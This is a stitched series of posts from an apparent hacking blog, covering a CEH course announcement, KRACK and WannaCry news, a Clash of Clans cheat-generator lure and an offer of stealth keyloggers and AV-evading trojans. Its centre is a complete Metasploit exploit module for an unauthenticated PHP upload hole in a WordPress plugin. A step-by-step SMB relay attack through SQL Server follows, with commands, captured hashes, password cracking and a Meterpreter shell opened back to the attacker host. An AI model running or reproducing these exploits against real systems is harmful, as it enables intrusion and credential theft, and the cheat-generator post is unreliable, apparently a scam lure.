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Free EC-Council Certified Ethical Hacker (C|EH) V10 Course

8:01 AM Posted by Adnan

In the year of Great Recession 2009 we started CEH and covered all topics and tools. This year at hackguide4u we are about to start CEH v10. In this new course we will explore the fundamental concepts of system vulnerability assessment and penetration testing. After completing this course and practicing anyone can take the CEH v10 certification exam in the near future and we at hackguide4u are not stopping at CEH only, we will also cover EC-Council's Specialist, Advance and Management courses as well.

By following EC-Council's official curriculum, this course is arranged according to five phases of hacking:

1- Reconnaissance

2- Scanning

3- Gaining Access

4- Maintaining Access

5- Covering Tracks


Almost all our readers are familiar with these terms and we will learn them again.


Video Labs will cover each topic and their tools in detail:

Footprinting and Reconnaissance
Scanning Network
Enumeration
Gaining Access
Vulnerability Analysis
System Hacking
Malware Threats
Sniffing
Social Engineering
Denial of Service
Session Hijacking
Evading IDS Firewalls and Honeypots
Accessing Networks and Applications
Hacking Web Servers
Hacking Web Applications
SQL Injection
Hacking Wireless Networks
Hacking Mobile Platforms
Cloud Computing
Cryptography
Maintaining Access
Covering Your Tracks

Lastly, welcome to Certified Ethical Hacking v10! I cannot wait to begin the course with such Enthusiasm and eager scholars.


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Hack WPA2-PSK clients with Key Re-installation Attacks

3:00 AM Posted by Adnan Anjum


Mathy Vanhoef discovered serious weaknesses in WPA2, a protocol that secures all modern protected Wi-Fi networks. An attacker within range of a victim can exploit these weaknesses using key reinstallation attacks (KRACKs). Concretely, attackers can use this novel attack technique to read information that was previously assumed to be safely encrypted. This can be abused to steal sensitive information such as credit card numbers, passwords, chat messages, emails, photos, and so on. The attack works against all modern protected Wi-Fi networks. Depending on the network configuration, it is also possible to inject and manipulate data. For example, an attacker might be able to inject ransomware or other malware into websites.
The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. To prevent the attack, users must update affected products as soon as security updates become available. Note that if your device supports Wi-Fi, it is most likely affected. During initial research,it is discovered that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by some variant of the attacks. For more information about specific products, consult the database of CERT/CC, or contact your vendor.
Below is the detail of some router vendors that have issued KRACH Patches
the best way to protect yourself from this exploit is to not use Wi-Fi at all until a proper fix has been proven. CERT has released notes on the KRACK problem, including a list of vendors whose equipment is vulnerable.
Some security-minded companies have already worked on fixes and are offering patches. Check back often, as we will keep this list updated.
There are also a number of vendors listed as "Not affected" on the CERT website without further explanation from the vendors themselves. These include:


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WannaCry Ransomware | Solution | Fix

7:18 AM Posted by Adnan


Since the WannaCry ransomware ripped through the internet in May 2017, infecting hundreds of thousands of machines and locking up critical systems from health care to transportation, cryptographers have searched for a cure. Finding a flaw in WannaCry’s encryption scheme, after all, could decrypt all those systems without any ransom.

Now one French researcher says he’s found at least a hint of a very limited remedy. The fix still seems too buggy, and far from the panacea WannaCry victims have hoped for. But if Adrien Guinet’s claims hold up, his tool could unlock some infected computers running Windows XP, the aging, largely unsupported version of Microsoft’s operating system, which analysts believe accounts for some portion of the WannaCry plague.
"Does not erase the prime numbers from memory before freeing the associated memory," says Guinet.
Based on this finding, Guinet released a WannaCry ransomware decryption tool, named WannaKey

 "It does so by searching for them in the wcry.exe process. This is the process that generates the RSA private key. The main issue is that the CryptDestroyKey and CryptReleaseContext does not erase the prime numbers from memory before freeing the associated memory." says Guinet



So, that means, this method will work only if:

  1. The affected computer has not been rebooted after being infected.
  2. The associated memory has not been allocated and erased by some other process.

"In order to work, your computer must not have been rebooted after being infected. Please also note that you need some luck for this to work (see below), and so it might not work in every case!," Guinet says.

Download Tool here @ https://github.com/gentilkiwi/wanakiwi/releases


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Hack Clash of Clans , Coins, elixir, Gems,

11:44 AM Posted by Adnan



freemium mobile MMO strategy video game Clash of clans developed and published by Supercell. August 2, 2012, The game was released for iOS platforms and on October 7, 2013 on Google Play for Android. you can easily cheat coc or coc hack is not a big deal.







To generate onlineClick Here



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Sharing my Penetration Testing Tools with Source

10:56 AM Posted by Adnan


After conducting Penetration Tests over the last 15 years i have a huge collection of windows and linux tools which help you to conduct penetration tests. They cover what backtrack tools, nessus, metasploit and many other cool dev's did not do the job for me.

Tool categories are:
webscanner, smtp scanner, ipv6 scanner, android trojans, stealth keyloggers, stealth remote control software undetectable by AV, vpn scanner, dns scanner, inside out tools to fetch data within protected environments, tunneling tools, penetration checklists etc. etc. etc.



 All of them have never been published before. I will release them one after the other including source code. Most of them are really easy to use. I started uploading them to code.google.

Here are some of the first uploads:
dns-information-gathering-tool - This tool do an information gathering based on a domain name. - Google Project Hosting
android-security-demo-app - app and webserver to demonstrate how to control a remote phone via webserver - Google Project Hosting
ipv6-portable-portscanner - windows standalone portable portscanner ipv6 - Google Project Hosting
smtp-security-scanner - This tool identifies various vulnerabilities on a remote SMTP server (testing the remote SMTP deamon as well as external DB's). - Google Project Hosting
swat-web-security-scanner - windows scanner to identify sensitives web server files, methods etc. - Google Project Hosting

The more sophisticated (and dangerous ones) will come later....
oli.muenchow


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WordPress Asset-Manager PHP File Upload Vulnerability

1:41 PM Posted by Adnan

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
            'Description'    => %q{
                This module exploits a vulnerability found in Asset-Manager <= 2.0   WordPress
                plugin.  By abusing the upload.php file, a malicious user can upload a file to a
                temp directory without authentication, which results in arbitrary code execution.
            },
            'Author'         =>
                [
                    'Sammy FORGIT', # initial discovery
                    'James Fitts ' # metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '82653' ],
                    [ 'BID', '53809' ],
                    [ 'EDB', '18993' ],
                    [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'May 26 2012'))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
            ], self.class)
    end

    def exploit
        uri =  target_uri.path
        uri << '/' if uri[-1,1] != '/'
        peer = "#{rhost}:#{rport}"
        payload_name = "#{rand_text_alpha(5)}.php"
        php_payload = get_write_exec_payload(:unlink_self=>true)

        data = Rex::MIME::Message.new
        data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload #{payload_name}")
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => post_data
        })

        if not res or res.code != 200 or res.body !~ /#{payload_name}/
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        print_status("#{peer} - Executing payload #{payload_name}")
        res = send_request_raw({
            'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
            'method'  => 'GET'
        })

        if res and res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
        end
    end
end




//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. hackguide4u nor Adnan  accepts
//responsibility for any damage caused by the use or misuse of
//this informationBY BOT24


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Executing SMB Relay Attacks via SQL Server using Metasploit

1:35 PM Posted by Adnan

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test.    Below is a summary of what will be covered in this blog:

  •  A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.
I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.
2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.
Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.
How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (\\server\file).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.
The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:
Basic Authentication Example
In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Service Account

Network Communication

SMB Capture

SMB Relay

NetworkService Computer Account Yes No
Local Administrator Local Administrator Yes Yes
Domain User Domain User Yes Yes
Domain Admin Domain Admin Yes Yes

 Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.
smb capture
The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.
Systems for the scenario:
  • SQL  Server 1: 192.168.1.100
  • Attacker System: 192.168.1.102
    1. Start the Metasploit “smb” capture module to grab password hashes on the attacker’s system: 
      msfconsole
use auxiliary/server/capture/smb
set CAINPWFILE /cain_hashes.txt
set JOHNPWFILE /john_hashes.txt
exploit

    1. Execute the “mssql_ntlm_stealer” metasploit module to initiate SMB authentication via SQL Server 1 using domain credententials: 
      msfconsole
use auxiliary/admin/mssql/mssql_ntlm_stealer
set USE_WINDOWS_AUTHENT true
set DOMAIN DEMO
set USERNAME test
set PASSWORD Password12
set RHOST 192.168.1.100
set RPORT 1433
Set SMBPROXY 192.168.1.102

msf  auxiliary(mssql_ntlm_stealer) > run

[*] DONT FORGET to run a SMB capture or relay module!
[*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree...
[*] SMB Captured - 2012-11-26 10:45:35 -0600
NTLMv1 Response Captured from 192.168.1.100:1051 - 192.168.1.100
USER:sqlaccount DOMAIN:LVA OS:Windows Server 2003 3790 Service Pack 2 LM:
LMHASH:b0b6932dae11731fc8ddf907024858f89fd700cd9fb72170
NTHASH:c180596a2d116a3c70c329de3a7b097c15fb75cb07822d08

[+] Successfully executed xp_dirtree on 192.168.1.100
[+] Go check your SMB relay or capture module for goodies!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

    1. Crack the first 16 characters of the recovered LANMAN hash with rcracki and a seeded half LM Rainbow Tables. Both can be downloaded from http://www.project-rainbowcrack.com. 
      C:\>rcracki_mt -h b0b6932dae11731f ./halflmchall
Using 1 threads for pre-calculation and false alarm checking...
Found 4 rainbowtable files...

halflmchall_alpha-numeric#1-7_0_2400x57648865_1122334455667788_distrrtgen[p][i]_0.rti:
reading index... 13528977 bytes read, disk access time: 0.14 s
reading table... 461190920 bytes read, disk access time: 4.55 s
searching for 1 hash...
plaintext of b0b6932dae11731f is WINTER2
cryptanalysis time: 0.96 s

statistics
-------------------------------------------------------
plaintext found:            1 of 1 (100.00%)
total disk access time:     4.68 s
total cryptanalysis time:   0.96 s
total pre-calculation time: 2.07 s
total chain walk step:      2876401
total false alarm:          1215
total chain walk step due to false alarm: 1299561

result
-------------------------------------------------------
b0b6932dae11731f        WINTER2 hex:57494e54455232

  1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the netntlm.pl script from the jumbo pack. They can be downloaded from http://www.openwall.com/john/. 
    C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt

…[TRUNCATED]…

Loaded 1 password hash (LM C/R DES [netlm])
WINTER2012       (sqlaccount)
guesses: 1  time: 0:00:00:10 DONE (Mon Nov 26 10:59:56 2012)
c/s: 428962  trying: WINTER204K - WINTER211IA

…[TRUNCATED]…
  2. Run the same command again to obtain the case sensitve password. 
    C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt

…[TRUNCATED]…

Performing NTLM case-sensitive crack for account: sqlaccount.
guesses: 1  time: 0:00:00:00 DONE (Mon Nov 26 11:01:54 2012)
c/s: 1454  trying: WINTER2012 - winter2012
Use the "--show" option to display all of the cracked passwords reliably
Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm])
Winter2012       (sqlaccount)

…[TRUCATED]…
If you’re interested in automating the process a little, Karl Fosaaen has created a PowerShell script to do it for you: https://github.com/NetSPI/PS_MultiCrack

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.
SMB Relay Attack
Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account.
Systems for the scenario:
  • SQL  Server 1: 192.168.1.100
  • SQL  Server 2: 192.168.1.101
  • Attacker System: 192.168.1.102

    1. Start the Metasploit “smb_relay” module to relay authentication to SQL Server 2: 
      msfconsole
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.101
exploit

  1. Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1: 
    msfconsole
use auxiliary/admin/mssql/mssql_ntlm_stealer
set USE_WINDOWS_AUTHENT true
set DOMAIN DEMO
set USERNAME test
set PASSWORD Password12
set RHOST 192.168.1.100
set RPORT 1433
Set SMBPROXY 192.168.1.102

msf  auxiliary(mssql_ntlm_stealer) > run

[*] DONT FORGET to run a SMB capture or relay module!
[*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree...
[*] Received 192.168.1.100:1058 LVA\sqlaccount LMHASH:feefee989
c0b45f833b7635f0d2ffd667f4bd0019c952d5a NTHASH:8f3e0be3190fee6b
d17b793df4ace8f96e59d324723fcc95 OS:Windows Server 2003 3790
Service Pack 2 LM:
[*] Authenticating to 192.168.1.101 as LVA\sqlaccount...
[*] AUTHENTICATED as LVA\sqlaccount...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \saEQcXca.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (752128 bytes) to 192.168.1.101
[*] Closing service handle...
[*] Deleting \saEQcXca.exe...
[*] Sending Access Denied to 192.168.1.100:1058 LVA\sqlaccount
[+] Successfully executed xp_dirtree on 192.168.1.100
[+] Go check your SMB relay or capture module for goodies!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mssql_ntlm_stealer) >
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.101:1059) at 2012-11-26
11:54:18 -0600
I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap Up

I would like to make it clear that none of these are original ideas.  Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!
BY Scott Sutherland


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SQL Fingerprint Xmas Released

1:32 PM Posted by Adnan

Microsoft SQL Server fingerprinting can be a time consuming process, because it involves trial and error methods to determine the exact version. Intentionally inserting an invalid input to obtain a typical error message or using certain alphabets that are unique for certain server are two of the many ways to possibly determine the version, but most of them require authentication, permissions and/or privileges on Microsoft SQL Server to succeed.

Instead, ESF.pl uses a combination of crafted packets for SQL Server Resolution Protocol (SSRP) and Tabular Data Stream Protocol (TDS) (protocols natively used by Microsoft SQL Server) to accurately perform version fingerprinting and determine the exact Microsoft SQL Server version. ESF.pl also applies a sophisticated Scoring Algorithm Mechanism (Powered by Exploit Next Generation++ Technology), which is a much more reliable technique to determine the Microsoft SQL Server version. It is a tool intended to be used by: 



This version is a completely rewritten version in Perl, making ESF.pl much more
 portable than the previous binary version (Win32), and its original purpose is 
to be used as a tool to perform automated penetration test. This version 
also includes the followingMicrosoft SQL Server versions to its fingerprint 
database:
        • Microsoft SQL Server 2012 SP1 (CU1)
        • Microsoft SQL Server 2012 SP1
        • Microsoft SQL Server 2012 SP1 CTP4
        • Microsoft SQL Server 2012 SP1 CTP3
        • Microsoft SQL Server 2012 SP0 (CU4)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (CU3)
        • Microsoft SQL Server 2012 SP0 (CU2)
        • Microsoft SQL Server 2012 SP0 (CU1)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (KB2685308)
        • Microsoft SQL Server 2012 RTM


Download: http://code.google.com

Source: http://code.google.com/p/sql-fingerprint-next-generation


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